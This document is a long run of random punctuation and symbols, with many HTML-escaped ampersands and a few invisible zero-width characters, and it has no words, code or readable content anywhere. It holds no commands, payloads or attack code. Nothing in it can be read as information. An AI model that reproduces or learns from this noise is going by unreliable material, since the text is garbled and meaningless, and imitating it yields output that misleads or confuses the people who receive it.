#%_%@{}!+\u0026amp;#}}$*(){}]_))%)}}_![}@}(#}#[}{[#^%#_*){_$\u0026amp;]!{#(]^]\u0026amp;[!)\u0026amp;\u0026amp;}(]^$%_(^{)}!+ )##]]}_@]}__{#}++!{![*^%]{]]^}%!{{\u0026amp;@}!#\u0026amp;[^$[}]{%$)({#(%@$%[(()#^]%^$!}$$$\u0026amp;_%#\u0026amp;{+ _(@%{}(%#]*^!@$[\u0026amp;^]}\u0026amp;*\u0026amp;}%%%^()]!((_%^{$[_[}_$$+\u0026amp;^%@@+%[(]+{$+$_^+#*%[#_!%)!#%_@% $)_!]\u0026amp;*[)[{{]\u0026amp;{!*[*}#{*}}!\u0026amp;_+$!#*)[})]%+{#$+}@$\u0026amp;+_{$%{)\u0026amp;$!{*}}]${#[^{#{%{{+)@+_$ [{{[(^[[!}*$!+})+^$*_!+_{*(*#%)]@${*(#\u0026amp;#{{[!%*_(@([$(+$#(^*${[$%}}\u0026amp;\u0026amp;@#)^*!(^\u0026amp;[^$ ]\u0026amp;#@^][*(^@%]\u0026amp;#%@((]{)(@@}[^@[*@(}@{%$%{}\u0026amp;+{+^}^)^^\u0026amp;!%!@_!*$![^__(+[(_$}}}*#^})* )%$%@_#*#}^!}}^*$+}%}#]_[]\u0026amp;+{$]%(_\u0026amp;{\u0026amp;[_{^^##!$^*_+@#\u0026amp;@{_)!)*#(%[%$_(]{@_(#(]\u0026amp;#_[ [(#%]$+{#_{){\u0026amp;[$%%{+\u0026amp;\u0026amp;$)_@*%(%(^^!$)__%*\u0026amp;$$@@])\u0026amp;{%[_\u0026amp;!}]%]_[(}#}{_^!(){\u0026amp;+(]+{#__ *@_])_\u0026amp;\u0026amp;%+([!(}\u0026amp;+(#)(\u0026amp;)+$(]*(^_\u0026amp;^}{^][_\u0026amp;^#(_@[!%[#]}]$^+(_\u0026amp;!\u0026amp;[)_^#^!}[{]\u0026amp;}^#{%^$ [)${]$$*^}+(#%+^\u0026amp;{%*[\u0026amp;\u0026amp;%*_)@{)](](+)(#$_^[^_]@*!\u0026amp;[(%]^}%{*)_+**@(%*{^[\u0026amp;[$[@*#}+] ]@$*+%)(^$$)#}!}[@)%{+#$%##@)%$))_)#{!@#)_*@}[[(#)#)*+]{[(_]$}_@{*$$[%$]!^+\u0026amp;(!([ })}%((}*()##)%(({}!)[_[*}*#!}*{]!#]}^][))_{%[\u0026amp;{!(@\u0026amp;@%(]{*\u0026amp;*)()}+!)@}%}+!)$\u0026amp;!_]]* +\u0026amp;*%)@#!##@\u0026amp;*(_^]${{]!$!)*$!+][[[@^]%^#{\u0026amp;%!+@**\u0026amp;}]%$$[]!!![+)}%)]](![[[![!}*^### [^*@}@})[%{_{_^_((\u0026amp;%^{@#%}()$}[\u0026amp;*{]*])%)@{]#((\u0026amp;#+)\u0026amp;+\u0026amp;_}#+\u0026amp;]{_@#%[*)\u0026amp;+!@!^)+$[@![ ^_}%@#!)\u0026amp;$#!%)%)***+_$+(!@{#$)\u0026amp;!$\u0026amp;_^(%!*(^]^]^^(\u0026amp;(]@^\u0026amp;*(\u0026amp;%_(!@*({%)\u0026amp;!$_]$$((**@+ ])_^_([{{()}+}\u0026amp;$($#\u0026amp;$*+#\u0026amp;$%*^}[@*@@*[^+)\u0026amp;(]^)()$+!(^@!!*@]*{@^]){_(}%*$]$#@\u0026amp;!$(^ @*)*%*_\u0026amp;!##*![_$_^#+!}{!\u0026amp;]+%*@^#^[+({!#*%@+^*@!+})^$+[@@_](]$}($^}^$\u0026amp;*}}$%@#!%[* )[*)(%(!}*%$_+\u0026amp;(^$[_$%_]]+$#{)}_##[*\u0026amp;#@[@!(\u0026amp;\u0026amp;$@{!^^%%_@*($(!%#[}[!$[__{+]*$$]*@) *)(!^)\u0026amp;($)*!+^^#)}[\u0026amp;^!%\u0026amp;#]({]\u0026amp;[%!$!++^))\u0026amp;_%}+]#{%)}%[[+[^]+#+})[]*){_{[]#)_\u0026amp;^[{* [^+$)_\u0026amp;%(^+_\u0026amp;*(]]]^^#{)%^{@@\u0026amp;*{#+_)^}^]}_#]%_[##@)}[*[+_(]{*\u0026amp;#$$#*(*)(_}}}@[%*() ^@)[$#[($_]{$%[\u0026amp;!(\u0026amp;+!]*(\u0026amp;@!{%(][*[]${#{)}+]]\u0026amp;@)!$#}(\u0026amp;])#^^!)%!^_{}[]_[@{[@#[\u0026amp;{(] @{)%_]#*{%^\u0026amp;@%$[@((*)_%!#+*^]]!}$]+}^]\u0026amp;$#[}{$*#^$$_{{}}@[@+@+\u0026amp;}}^^@[[@@})()(@\u0026amp;)[ $\u0026amp;[}#%\u0026amp;%[!!$_!(}!___!#^%)^[${#_\u0026amp;\u0026amp;{\u0026amp;])}*]^}\u0026amp;_$@{[@$@\u0026amp;}[%)!@{*%\u0026amp;*}%%\u0026amp;^$^)}^{}{\u0026amp;_+! __^}[}+_]$*}[^$#@%_^\u0026amp;{}!}\u0026amp;*(@)+^{@+[_*(!@(}{#][+\u0026amp;]}\u0026amp;_)*]\u0026amp;*$*^]@}+$!#$(@{{⁠%([@+@} *{]_@{*[[($@]\u0026amp;)#_!}%)($@@)$+{)(*(#{\u0026amp;#{!\u0026amp;[\u0026amp;+](@*!#)}%+{(%$#]\u0026amp;[))@{(\u0026amp;*@(!\u0026amp;[$#*$*!( ^+#%*}*($[%@{_#@!\u0026amp;[\u0026amp;\u0026amp;{[+\u0026amp;\u0026amp;%\u0026amp;!_@%#%$#_)\u0026amp;%@($+#@!{+[(]{^*^(^[)}_\u0026amp;_[}(#[^*%!+)@+%^# \u0026amp;#$#@^}*$##@$+#]^%}[[(]{+{[#!}$)(##@(_)#^\u0026amp;%]_%_%(\u0026amp;@)!((+!(]%#@#)!\u0026amp;][$[)]]*(+({@_ )}%)+*]%#${(!\u0026amp;*\u0026amp;!$^){^})$#}}^%+@$*_])}%@(\u0026amp;!#\u0026amp;%@@+]]^^]_**)^]\u0026amp;+[$_%]*__*@}@)([[@^ ^#%!^}!\u0026amp;%%\u0026amp;!$+\u0026amp;%%$#$#$^**]!]+#((#_^$\u0026amp;#()(_#_{}}\u0026amp;_#^+++#_)@_)+@%[+(+![^\u0026amp;#][%**$+# #}([]{{]}_]#$]}$$\u0026amp;}_%$([%$\u0026amp;#[#]+[_)@([!+${)$}%*{%!)##}*{\u0026amp;]\u0026amp;!#^$*}+]_\u0026amp;#}{]\u0026amp;#]#\u0026amp;(_ ^+@@+##_]]*#^_^\u0026amp;%_\u0026amp;@!$[}*\u0026amp;$+!_@*)$[\u0026amp;$[*$(!^#@#+%_*[^{@}]}#+]}\u0026amp;!@_+)(++\u0026amp;\u0026amp;(#{[#*@{ ]$]}(]^*!%@]\u0026amp;\u0026amp;!%\u0026amp;})(])+@^\u0026amp;@$@@[(%*@*^++^$##{[$^{*$\u0026amp;{@$!%^@$_#]$_^#@@**+^$%)*%%{] (\u0026amp;[[)*](*}%*%@+$${\u0026amp;)_#+^^]@$}%$]@[]$[_@]^!]\u0026amp;\u0026amp;+[[$!%{_((%\u0026amp;{@[)_^#)%!](__[)+_**$(] $##\u0026amp;(*[#)}[^\u0026amp;%[@@)*(()_#@)[*#%!\u0026amp;}[)%^+@+{)[++}_+[+])\u0026amp;#^!)+#%(@*]$*]$_^^#$$%!_*\u0026amp;\u0026amp; %$){^[])\u0026amp;$@{^@+_]([(])**)](*+$*{@%]+)^*+[]\u0026amp;+%%[(%\u0026amp;#!{_^%#*[^})*$]*%^\u0026amp;*)+{(%}#]_# {($#\u0026amp;!^!{[}(}@}}{%\u0026amp;(@!+_)]!*%)!(^!**!{!({}}}\u0026amp;{%\u0026amp;@#({_](+}##@$)!]^!]#!^^_[)%}@})) [#^#}(%{#*%**{]]((__)![]^+]+@__*_{)$*#)\u0026amp;][!)_{\u0026amp;$}}#_$#([++{[$*()_**#_#%_$)#]*%_( *+^*(}*$_%[${)+[%[%^#_]\u0026amp;*+{\u0026amp;)^*{**$[(!}*\u0026amp;@![\u0026amp;({}*#\u0026amp;@_\u0026amp;$)@$]!*@}}\u0026amp;{%{*[}+]_%$])_% %#+\u0026amp;$}#\u0026amp;_%\u0026amp;[%{+[{@_$!$])!*#*_$($))#!+)))\u0026amp;_[^!\u0026amp;)*}+)_){@{+(\u0026amp;\u0026amp;_^\u0026amp;{]$\u0026amp;!%_{*\u0026amp;\u0026amp;!#[+*@ ]{[]]}]%$!$_]]%%$@^](!}]!^[!^(%$%*$]\u0026amp;)@%!#+@@**$^%!*$$(_^[%*!)^$]^@_#}@(*}){({+( $}^%_]#$!#@[@])[_]*[]_+!(}([]$\u0026amp;}{([[\u0026amp;\u0026amp;}@$@*+]]{\u0026amp;{#[_{^)@\u0026amp;@[$(#{\u0026amp;{$]!$#_#(}^]{+_[ @{\u0026amp;_@[#\u0026amp;^!#!%%@]^]]@{[[@](]][)+)^%![#%@%]%\u0026amp;@)[@@]^[!*]\u0026amp;!^+^!]{+\u0026amp;#%()+{@$)*{#([^( _*[*#^@[\u0026amp;#@^}!@%!)*^%!]]#\u0026amp;%@$\u0026amp;^+{${^(]!{[%[+_}$!(]}!+\u0026amp;*}#}@@#}[*$*}^^)#)\u0026amp;_!![(@_ __\u0026amp;([^$)+@##{**%\u0026amp;!%}$)@(+*])\u0026amp;!\u0026amp;_![^@)}{!_}}*@[!^^)]{$%{+^({@$*!((*%%}_@)_{!*%{)) (*\u0026amp;)$*)#_#\u0026amp;%%!$}_^}+%]${}\u0026amp;($}!]!*()@!{*)%%*%}}_^_*}@@_}%\u0026amp;^[])*(_}_#_$@(!$*+#*)+$ !+[*[%*+([\u0026amp;[*@\u0026amp;_]^$]\u0026amp;_+^^+_@]_+}^*@{_})@!%@_!*\u0026amp;^!((}!__$#*)!})[))[{^($]@$@$($\u0026amp;%) @#@%!!\u0026amp;*^*\u0026amp;@#*}\u0026amp;[(@#\u0026amp;@(*!^@{%]^{%\u0026amp;!}#[%}%()%!*@+\u0026amp;!)]!]^%{(^!$!(^@+\u0026amp;$%)@%!@_{[#[% )#]**+*]@}!\u0026amp;($*])$}![%%%^+#{]*[$@@){@_}]@([}{](!\u0026amp;#[%_%}{\u0026amp;#^%@^_!}@[${\u0026amp;$\u0026amp;*$)]#(\u0026amp;_ {{*#[]+$%*_])))^+#*[++#*#}$]@$#(+[_]#]^(_^#)_%__![(%(\u0026amp;((^$*%%\u0026amp;])+)]\u0026amp;(\u0026amp;$\u0026amp;#)]()${\u0026amp; _#$@)$@$@@})[$_([(_^[+##)@]*(#^%(%(${[\u0026amp;+#)@^))[^#$^_(]**\u0026amp;%+%\u0026amp;(+$^#[+}))^^]_%$@#[ $*$%}*{!^[#@}\u0026amp;{\u0026amp;[(+@$)\u0026amp;!$\u0026amp;#}{]]++#]@!)[\u0026amp;@[_#)!!%){$]\u0026amp;)})*@)[{()@!)@^(#@]+@_$\u0026amp;#*@ +^{}^*_\u0026amp;^$*(#^!%)@()@{!%%}^#@_)#%%_%!++{\u0026amp;(}{}}%{++}+\u0026amp;$]]@)@(+{()][%*\u0026amp;_*!!#!@[!]@ ]+*_^$@\u0026amp;!)+!{+{}\u0026amp;_\u0026amp;))@\u0026amp;{{++{{}@#[*)%%$]{%#!+#%@@_*}!!)\u0026amp;%!{{($$\u0026amp;%[*{[!^**\u0026amp;[_[_+}^ _$]^[]+__${$@%\u0026amp;@[^}}#}+]_#(@_}+^+%^##]^$_{@+!_$}##_@#\u0026amp;{@_++@)*${*%^))%{}_@@\u0026amp;[)*$ _^]}#\u0026amp;(%^@^+[*{^}{_*)%@)$$#[(+(\u0026amp;^]#![{^_{([+\u0026amp;(!*^#\u0026amp;{$}@#(\u0026amp;!!(!{({^%%@!{+{)])^^({ (+{_%#(%)%(**(@\u0026amp;%$*#_+$^^!$)!$$%*\u0026amp;\u0026amp;%\u0026amp;[^[+(@$${!@)$#_[^}{)_%!@\u0026amp;%{{$*]@\u0026amp;%){[}!!^}+ %+[!*$]}(+#@*#\u0026amp;\u0026amp;[_)!*}\u0026amp;*#\u0026amp;#*^@\u0026amp;[%(_)!\u0026amp;+#^{#%#((+#+]]#@]$!!$@@!@[{))#()}(}[^@*)}# _#[!^${]$)]_!@@+$@(@+^$()*{!{{(@#+$\u0026amp;*@_$\u0026amp;@*++[][%]$[(@{]+}}$*{%[%#\u0026amp;%)]!}(+__$]_* +][}!\u0026amp;^*}_@!*}*#()$^\u0026amp;*%%#{_*@_+[({!_%_]!^#@(\u0026amp;@$\u0026amp;]]%%+)!]_{\u0026amp;[}^^)!#]_{$^({(^**_[$ ]}@)%_(!##]#![{]%*((}$)]{}\u0026amp;(%{{$#+\u0026amp;)_!#)_%\u0026amp;@^()%*@#%\u0026amp;!%+^_+(+$@($\u0026amp;^!$_$%()!!_!(* %(]^_}^#$])$]#{%@*#%)+}([^+*](!_^%[]%{}!_\u0026amp;+[$@*%{[@*!{}+^(@@\u0026amp;)+!_[^}*${@)^){@_\u0026amp;$ !*_@\u0026amp;+!]^(*#^[%\u0026amp;^%^+%}{[$^@]!$^{}{(()#!%@]{]}(!)[#(*$)$()@*{@_!$*#)$*+)])^{!}{#^ ]]${!@\u0026amp;![@\u0026amp;+\u0026amp;](#}@(@{\u0026amp;@@!!#_(_)\u0026amp;^!_}@^$$+_(@%_[{##%@*]}[##@${$*(${(#${)}{}%#!%#$ (#}\u0026amp;_#%!+](!$@)}##[^!#{^}\u0026amp;\u0026amp;!)\u0026amp;+@$^$%!$^$}(*\u0026amp;_\u0026amp;[(_(*]{$+#@_($@_}!+#({*(^@(_([_#++ }[\u0026amp;\u0026amp;*!%)#!@\u0026amp;(_[{{+}@)[_^!\u0026amp;($)_%*%){{!^$_*^]@%%+@\u0026amp;!#}(%}#])\u0026amp;(^%$$+@%_#^^%+[!^}!)! %*!*]^!!](@!([[]@_(#}*%\u0026amp;}*{}%\u0026amp;^($+!*%^!*[!_$_%@($^$[!#[^]^}}]!{##^^!(#++!()$$([[ ][__{}(\u0026amp;{!{_[{+!{*(\u0026amp;)[^}!@%{]()_^$+\u0026amp;_)!\u0026amp;$[#_)(\u0026amp;%!]$^+}%]([_@{)*!^#^*%[!^*!*#}!*] ]{\u0026amp;[+\u0026amp;$@[+%@^$%(#!+$*^]^{#!\u0026amp;{^@]]@@*[@^%#%(_+{}\u0026amp;@(_)+)(+++^#})}!+@)^_#}_[{^\u0026amp;]#%( %(^]^]$(#_*_)@)@!^}(\u0026amp;_$#]})^(}+#(_}$]@$\u0026amp;#{^}*!*]{}}{^}[#^(^]}[)+@^{@)^@{\u0026amp;**__]}] ]_}!%$+_$}#\u0026amp;_%)%[*\u0026amp;%_@}+\u0026amp;+\u0026amp;$]]#(([+([{*[{$+!@[%{#^#$_]#){+$%*_\u0026amp;%(+##$_}%[}!%!\u0026amp;{[ \u0026amp;@^%\u0026amp;(%%%#[^*@[*{\u0026amp;*![[+$){!)%#_*(]^#!}#+%)\u0026amp;!^)*)({$[^%})^}}@)}!)+^_[_^$)+)*+\u0026amp;@*^ %!!#!\u0026amp;}!%+[#!@[#@__*](_*+\u0026amp;^$]*#}!\u0026amp;*@*[*{)%)$*][}^!][_@*]*}\u0026amp;*}{%*((^^@+]\u0026amp;_%#[\u0026amp;}{^ [[!+}\u0026amp;[\u0026amp;}$)@{!)\u0026amp;*{*[$)$)!{\u0026amp;!]#*[((!(]{}]#![)@\u0026amp;}]{_!\u0026amp;{]({$_^*%]#{_]{#]!\u0026amp;*#*(_\u0026amp;)@} }+^)(}*^(+)+)($)#])^{%#\u0026amp;()!+%$}(+$+#*[%)*@!([$_+[}\u0026amp;\u0026amp;!^\u0026amp;$[_]][{%)[#%$*^%#$!*}+!$( _[^}{$%@$))_$]+[[##%$]\u0026amp;+]^]!)+^![(%+{\u0026amp;$%\u0026amp;)_$[#%_%_{*{)({{\u0026amp;+^@_(\u0026amp;!$\u0026amp;!![[!{%_**%%] \u0026amp;*^}!{)]^^[(@+[{!\u0026amp;%%$[@]\u0026amp;+$\u0026amp;[)({{#)[([({{#!(](]$!$+#_[@(({\u0026amp;+@}^}!!{@@**#_*_]$]]( *\u0026amp;]]{#)%%@{@$##[*][@#$[(@+()%%!@^]{$#!([+#@}\u0026amp;_)#_@{\u0026amp;{[#_}+__*_%+__+\u0026amp;\u0026amp;*!]\u0026amp;#%*%**\u0026amp; ###$@{#!+[){$_}[{#%$@+[{#)!#^}[$%}}[@_@%+!!}*}]$)#)@%^*]!}_*@\u0026amp;)@!]*#*_}##^[#@^%] $)!_%\u0026amp;*^*#!{%\u0026amp;+%#^![%$)*@%*+}+%_#[\u0026amp;_\u0026amp;+}(#$+#@!#!!#!%$@\u0026amp;+[@[#+@@+[_^#}$\u0026amp;)}$#]]\u0026amp;*# +*!@!#(+$!][!}@![$[_)$$\u0026amp;)^)[[*{@])}+^(!\u0026amp;*#%![(*+@+\u0026amp;_[)+)]$(++($+)#]}][]{*@%\u0026amp;@$$_ *+})+*\u0026amp;^_*!$)#@_%\u0026amp;]}+%#(\u0026amp;${$+(@}()](^}\u0026amp;!\u0026amp;+[]^[#()+!#^_@]{*#{{[_]_[*)[+#+^]+\u0026amp;%\u0026amp;!! *%($)_@]%)_!$_*!*@(_$_^^^$)}{\u0026amp;!@)%({(+(\u0026amp;[+%\u0026amp;+%}_)(#]$!!)%[!\u0026amp;+)*@%+}])$}#\u0026amp;)*[!++} *)](+{^!\u0026amp;$)_#[*\u0026amp;^)))[#}$({(}!+{]#[_{[}*+]!@[*^%]\u0026amp;{^\u0026amp;{)]#{#)\u0026amp;${(]+{$])\u0026amp;@]{{)}\u0026amp;_$} ($^$+}[{#%]@_(]@@)(\u0026amp;!_$}[\u0026amp;!!@{!%%_\u0026amp;[{[@\u0026amp;)\u0026amp;$_${%_*%%\u0026amp;@+#+%*!$]}])^!](+_)[%{^%{+@* \u0026amp;%+[%!{_{![+\u0026amp;[\u0026amp;!!_^_#^[%\u0026amp;[[}*++#!#**}{+}[+\u0026amp;+_$^^]}^^_{$)${!_)@_^_[}*#}\u0026amp;{!*@$#}}# *!^+\u0026amp;)%**}*{@#^^$^*)**!@\u0026amp;]]#[@@##%}@@[(!)!}*)%@+#+**)_%^\u0026amp;#}(+]][(%#*]_(}\u0026amp;){#%*#_ {^}_%*{^**@\u0026amp;)[\u0026amp;!#_#){@+@}\u0026amp;$()!][*_**#(\u0026amp;*{\u0026amp;]@\u0026amp;@#^${\u0026amp;!]}%^*@)!**\u0026amp;\u0026amp;(@^()@*!_$@]@($+ }]{!}#]$[!\u0026amp;\u0026amp;[*(!]!$))%+$%{!{^[^[$@[((]#!%@)!]__+{}%{_^_!{@{)^)+\u0026amp;%\u0026amp;!^*{_\u0026amp;$][!]@_% %\u0026amp;!#a}#+#^#{_\u0026amp;)({%!_]!_][}^_%*+}$)\u0026amp;!@[)#@{@[%*!*#_[$$(_[+!^[[[[+*{[*+{!#\u0026amp;*^@\u0026amp;+%) %#}\u0026amp;)#%*]!@#_\u0026amp;@!^{@]#)_\u0026amp;@){*#]@{@}%@]!(}$*)%#[)^{)}\u0026amp;#[]@}%+)@@}#^#_[]*(%@)!)#+@{ $}*@@[})+(})}}{@{%{%*{{⁠%*+^*%]@]{[^[_\u0026amp;+#(\u0026amp;_]!([#\u0026amp;_[%]![[_#)\u0026amp;@%\u0026amp;]!$_\u0026amp;#\u0026amp;^#@^*+@%)) {{)!%[$#!_[@!(([)++}*)%]@^#![!{+$+((#)+$_^]__]+_^@+_}[%+[{()_%!*}$+[$#%%%}$%]}{\u0026amp; ^+\u0026amp;)^@)$%}]!(%^%(]+!^\u0026amp;_}_*%@]((%%\u0026amp;!)[*_([#{\u0026amp;!)@$!!!$){(\u0026amp;$}\u0026amp;!%*$]%\u0026amp;{})^+}@]@(*(*! [)}%+^_[^%(_%**{%({{$]}[*_)\u0026amp;(*(+{@!\u0026amp;$%{!{#*{!%{)![_}%}{[!(]@*@#([(*${*[[*($+!])# @}({%\u0026amp;@}#_^#+_^(*+$)$@+(^[$*#!{_!_]}!(#)_)*(!{^(@(*!#$){[#]\u0026amp;$^[+]!%_}+*]}}}%^_@# +@\u0026amp;][\u0026amp;^[[\u0026amp;!]*!)$%[#*]!*[*^^(_[*]^]!+#$[*##!!__\u0026amp;}^\u0026amp;^(^*%!\u0026amp;%{[**@%$%]}+^!]_#\u0026amp;+@+[{ $$^@)(#(}@{\u0026amp;*}^$!![%^$*$##^$#+)\u0026amp;[%+}}#[@!}!{#}+@$*$+{}^[)[]^}!)!])]^@}+{^_%(@*() @]$]!#$$%)())+)}_#*)(_}*@](^@!*\u0026amp;_^!$(!(_!$+@*[)$$*($)+%!{@_}!@_+}+]@(#}[^%@(][(} (_@^\u0026amp;^*)[*$*)+\u0026amp;$@){]$#^(#_({}**+!#${()_)#^+)\u0026amp;)*[%$%@^]})#{+^\u0026amp;*]_#^!]!)][#*#%!_%$ ]$\u0026amp;@@\u0026amp;[!$(!+_^#*($(_]]{\u0026amp;+!]*_)!$_%)*}\u0026amp;][[+(^]_[{[^^$*^{*!#*))!{@+{#$[+(^+*%(+*++ !+)\u0026amp;_)*}{!!#$_\u0026amp;%%*]\u0026amp;}+*\u0026amp;\u0026amp;}%}))\u0026amp;#($##!$!#**@^%]{##$!)*#+@(%))}]__[^$^})_@)]@*{\u0026amp;[$ )]^_!#]%\u0026amp;#[}}(][+}^^_}{@+%^[)$@%+_(\u0026amp;{*%*)]_@+]($!@*[)%#$]}#[_$!%_}*)(*_+}_\u0026amp;%\u0026amp;{}) \u0026amp;+(]({$]{+%*}]@\u0026amp;(([\u0026amp;(\u0026amp;^\u0026amp;!@{][^+^^)!@#[[%_!@^}_[(+@!!^+@${[]%]]@\u0026amp;[{}^)+()@%\u0026amp;}#!(@ [!)*%)^!}\u0026amp;(}+[(#$^@*}%_$+)[)}!+^](+__@@{%}(#_#)[%[([$)*#)@\u0026amp;\u0026amp;*\u0026amp;#_$}{!_+_!$_*_)\u0026amp;@) !}}(_[@)!_[[[\u0026amp;^$#+$)[)%##_[%{+*@}($\u0026amp;)!}}{%%#[#!#*\u0026amp;*@@_%@@#!#{!%][}+_](*+*{@}}@%@ )+_#_^!#(#+}]!]()@$%\u0026amp;!{^\u0026amp;*!^\u0026amp;##]^_+})}+]*%%*@_[(!%]}^([%{]%#][$@!@{\u0026amp;+]**^{%}^\u0026amp;([ (][@+^$^$[#{@#)][}_@!]][)$_({%#)%\u0026amp;)!}(@])!{_#$((*[@[}##^($\u0026amp;]+{^]!$}^]\u0026amp;[\u0026amp;]}*{[{_^ %!)%]\u0026amp;]^#!+$_*+)$$(@]+]*#+@%]\u0026amp;$_]#*}%$[#_%^+{+}$$[\u0026amp;\u0026amp;*^_]@^*@!@^+*]%^!(){#^^(){{^ [^]]$$^{\u0026amp;*{)%@^$%}!%](@\u0026amp;!^\u0026amp;]!@{%}[]_![#]!]#[}]{!)+@+#!_\u0026amp;]^_@+$}_[_%([$(\u0026amp;)$)!\u0026amp;+){ __@!\u0026amp;$@!]}^\u0026amp;}[%[[\u0026amp;\u0026amp;_#$({}(#{%_*[#!{!{@+_{*$_%_]^^*#_@}[+${$)!%_!#+#^*](%{}_@^)(@ \u0026amp;$__@@)$!**_[*%!]#$%]@!@]()]%!!%_+%}[]$+%)^)#_[[}+)*{%(^%#}*%\u0026amp;[{{⁠%%%[)%*%_(%%\u0026amp;)* %(]#%!*(!]($!!\u0026amp;}%()+)*%$!}]+}!%{\u0026amp;+$}(#]]\u0026amp;()\u0026amp;%!\u0026amp;(}!\u0026amp;^{@]!__$_@_[)]]@\u0026amp;)}@$[)+{^)*% }%%@@)]^)_](\u0026amp;!#[@+^$)$#}{@^{***{[^*@](}%}(#\u0026amp;*!}+}%][]]@#^$[*!+!@{](*]*\u0026amp;\u0026amp;@$%\u0026amp;[}^+ ]{[#[\u0026amp;+\u0026amp;_[]^(})!#!}]{}\u0026amp;{_$]\u0026amp;\u0026amp;@($[[[+_{!@$_+]}](![@}$[^!)_%]^*$#)*\u0026amp;)#[{%@!)[_({\u0026amp;_ !\u0026amp;!@!#+\u0026amp;^(!%^)#_^$)@*]{_#(*{%$${}_\u0026amp;\u0026amp;$+@+[@\u0026amp;\u0026amp;!!%][##\u0026amp;(+]+_[}[\u0026amp;}_((}%[]![^$(!\u0026amp;_$$# !{_}\u0026amp;[\u0026amp;+^*)]!($]@*#^\u0026amp;**]_($(_^])^_^^$!_!@{}]+{]^\u0026amp;!)}%)^{]\u0026amp;*}!%%!%[(_%}{}$#+!])!! }[\u0026amp;}!([!)%%(}\u0026amp;((}]+!!)\u0026amp;#(\u0026amp;}}{+\u0026amp;)%^[%_%(}+*!(_[*!_[#)^\u0026amp;\u0026amp;+}_$!_$!\u0026amp;+_[+%*(^!\u0026amp;*@^{@[ ]$\u0026amp;]}#[\u0026amp;[#]]]^#%])](!+]]%!+$(*@^_#^*_\u0026amp;)@[${{$]]#\u0026amp;]!+\u0026amp;_!{!)!%*+%_%_)$]#!]{+_[){$^ _#[^$_#%^]^\u0026amp;[)$@)]]{@@^(\u0026amp;[([!}@}%]!+_((_^[{$\u0026amp;^(^)*((![*{_+#(]#^[]_^#([[^[!!%]$!( [\u0026amp;(_@!*^{\u0026amp;{+(_%{!$%#[\u0026amp;}\u0026amp;@\u0026amp;)}[^){^}!$){{⁠%$\u0026amp;)_@))+(%#@+{(^+)}%$_{*@{#]@([!)@\u0026amp;+*!%{ ^}%{+\u0026amp;#]^{[%%]+((*@+@{+#_(({{$[[@#%!+{+]%^@+#^][}#+$*\u0026amp;@+@\u0026amp;]$%^}*@_)}}*[]+}_*@*@) [$!\u0026amp;_[^@){[_{#{%{#$+!}{#!@\u0026amp;\u0026amp;#(_#@\u0026amp;}(!@+#*#@%[@%%[%[$\u0026amp;@!]@_]!{@#))@]]\u0026amp;]{$}}%$[}*] )^(^(\u0026amp;}[$#}^$_@@{\u0026amp;^}}[%[*{)$![\u0026amp;*\u0026amp;$![#)*@_$]^$)%\u0026amp;\u0026amp;!_%%][+$()#_\u0026amp;)_^+(%+)_\u0026amp;^]!+*){# )_]!_\u0026amp;{[^_}+@%#}#[*%]%+!!(()!*_(^{#^!*}#^}$_^}$}_}{_#^@}@%!_{^[!]\u0026amp;%_](}]$#()#{}# )*+*}*{\u0026amp;$+}[{${[#_#{}_!@}\u0026amp;)_@[!)_))}))#($[_}^^${)@^(\u0026amp;[_+!_^[(\u0026amp;#}@_}{]%#%)[]}]*{) \u0026amp;@!]}]%_{+)!@%]#$_*#{]+!%!}[^{[)#[@(+!*\u0026amp;_{*]]\u0026amp;]$[*\u0026amp;%^{^!$!@*)*(_!+[{*^]@}+#($$\u0026amp;) !$(^)]!#*[@][^]@}(\u0026amp;*{}())@{%^#))*+_+#_})(^($$%{{![^+@!+\u0026amp;}_((*#[*++}*^^[*@\u0026amp;!{+%+] _\u0026amp;%}*++_(*![%^{$_!!\u0026amp;_$}{+%{!!}+!@\u0026amp;+}(}}[}]){!{{\u0026amp;_]_]\u0026amp;)%!!*^#__(^%([#%+\u0026amp;{{)*}\u0026amp;}$( #^!^#@{%${^*$^(^{(}#)%!\u0026amp;#})(}#}_(\u0026amp;#%^${#}#]{*@^!+}!$$${\u0026amp;#{{[[*^]]%^+#[+%$@]@#]}\u0026amp; )%\u0026amp;)}[^+^\u0026amp;@$^)]\u0026amp;[$*{^%^@**]^*!^!\u0026amp;_#%@+(@][)([\u0026amp;^(@@^@\u0026amp;!\u0026amp;#\u0026amp;_}\u0026amp;[^!^@]**{__}_!+}%!_^ _^])^@^}\u0026amp;(\u0026amp;#})[(@\u0026amp;*}_{{$[\u0026amp;^][+*\u0026amp;{!+#%@#_]$[{$@+[{[@}]}{*(+$#^[%[@\u0026amp;}]^^)_(]{@{##[ [_\u0026amp;!$]_$%$*]#!^}(%!*+_^}\u0026amp;@++_!%$(!!_#]{{$()))\u0026amp;*+}#[@@!_%%%*!_+)(@*@%)_{^!%![#_+! {_*)!(@[%@{*{)]$*_\u0026amp;%*$+!%$\u0026amp;\u0026amp;!(%}^]^!)*@+@!){_(\u0026amp;#%[_)_]*[$++\u0026amp;!}@])#%)}@)!+!%]@*+# +%\u0026amp;*])!{()@}*$$+){_)%@[%[*+$]#$}[#{#$)]{*!}!\u0026amp;##_^+\u0026amp;]])%!^((+}](*!\u0026amp;\u0026amp;\u0026amp;!^^\u0026amp;!!)^!)[# +(${^\u0026amp;^%+}@!#[#%_\u0026amp;]({$\u0026amp;)##^%+#@*]{_%#^{%_%+}@@]+%}@}]_)*^@*}+#*##+]+^))*#^^}\u0026amp;]\u0026amp;[ $[}%@{)\u0026amp;#_}#$\u0026amp;[\u0026amp;(]})\u0026amp;__!_@\u0026amp;]$]\u0026amp;(_{}^\u0026amp;_*$!@)[+%)+#()(+$_$!)*+((_)*@##{+#++}[^@{@+ _(}+}%[@\u0026amp;{%((*{{]+^}*]@%}@)%#![\u0026amp;)])^}]^\u0026amp;[@]!#(\u0026amp;}^!][{}$)]!)^^\u0026amp;^_\u0026amp;^[#)+[%#@+}@+!+ \u0026amp;$%)$\u0026amp;{]@%)%%))+%*{^#[@$+}(%@[})#$*@}+(}[\u0026amp;_%^\u0026amp;$\u0026amp;}}]%({^@*$\u0026amp;^@{]}!@(})!)[!}@!_+\u0026amp;^ \u0026amp;}_\u0026amp;%+!#(%#{[#\u0026amp;[![%\u0026amp;)$#+@[!)_!@_}})!#^((^#!+[}+\u0026amp;)(%!!\u0026amp;#[_]##!+%][]]+[_@_(}_^!\u0026amp;@{ +$^_]$()$({])##+(+%)+[%\u0026amp;+[_{%[##(#(!\u0026amp;_$*@#+{#}*\u0026amp;!\u0026amp;{(^#))$^%%@${}!{@%^^((#\u0026amp;)$!%!{ 